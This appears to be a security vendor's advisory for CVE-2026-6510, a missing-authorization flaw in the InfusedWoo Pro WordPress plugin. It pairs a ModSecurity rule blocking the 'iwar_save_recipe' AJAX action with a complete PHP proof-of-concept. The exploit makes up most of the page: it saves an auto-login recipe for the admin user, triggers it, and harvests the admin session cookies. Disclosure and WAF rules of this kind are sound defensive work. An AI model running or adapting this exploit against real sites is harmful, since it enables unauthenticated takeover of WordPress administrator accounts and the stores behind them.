CVE-2026-6510: InfusedWoo Pro <= 5.1.2 – Unauthenticated Missing Authorization to Privilege Escalation via 'iwar_save_recipe' (infusedwooPRO)

# Atomic Edge WAF Rule - CVE-2026-6510 (metadata-based)
# Block unauthenticated privilege escalation via InfusedWoo Pro iwar_save_recipe AJAX handler
# This rule blocks any request to admin-ajax.php with action=iwar_save_recipe
# The rule is precise: it matches the exact endpoint and action parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20266510,phase:2,deny,status:403,log,chain,msg:'CVE-2026-6510 InfusedWoo Pro privilege escalation via iwar_save_recipe AJAX',severity:'CRITICAL',tag:'CVE-2026-6510',tag:'WordPress',tag:'InfusedWooPro',tag:'PrivilegeEscalation'"
  SecRule ARGS_POST:action "@streq iwar_save_recipe" "t:none"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6510 - InfusedWoo Pro <= 5.1.2 - Unauthenticated Missing Authorization to Privilege Escalation via 'iwar_save_recipe'

// Configuration: set the target WordPress URL
$target_url = 'http://example.com';

// The malicious recipe payload that creates an auto-login for the admin user
// This recipe uses HTTP POST trigger and pairs it with an auto-login action
$recipe = array(
    'name' => 'AutoLogin Admin PoC',
    'triggers' => array(
        array(
            'type' => 'http_post',
            'settings' => array(
                'url' => '/auto-login-trigger'
            )
        )
    ),
    'actions' => array(
        array(
            'type' => 'auto_login',
            'settings' => array(
                'user_id' => 1, // Typically the admin user has ID 1
                'remember' => true
            )
        )
    ),
    'status' => 'active'
);

// Build the POST request to the AJAX handler
$post_data = array(
    'action' => 'iwar_save_recipe',
    'recipe' => json_encode($recipe)
);

// Initialize cURL
$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt'); // Save cookies from response
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request to save the recipe
echo "Saving malicious recipe...n";
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "Recipe saved successfully. The site is vulnerable.n";
    
    // Now trigger the auto-login by visiting the crafted URL
    $trigger_url = $target_url . '/auto-login-trigger';
    echo "Visiting trigger URL to receive admin cookies: $trigger_urln";
    
    curl_setopt($ch, CURLOPT_URL, $trigger_url);
    curl_setopt($ch, CURLOPT_POST, false);
    curl_setopt($ch, CURLOPT_HTTPGET, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    $trigger_response = curl_exec($ch);
    
    // Parse the Set-Cookie headers to get authentication cookies
    preg_match_all('/Set-Cookie: ([^;]+)/i', $trigger_response, $matches);
    if (!empty($matches[1])) {
        echo "Received cookies:n";
        foreach ($matches[1] as $cookie) {
            echo "  $cookien";
        }
        echo "nExploit successful: authentication cookies for admin user obtained.n";
    } else {
        echo "No cookies received. The trigger may require specific conditions.n";
    }
} else {
    echo "Failed to save recipe. HTTP status: $http_coden";
    echo "Response: " . substr($response, 0, 500) . "n";
}

curl_close($ch);
?>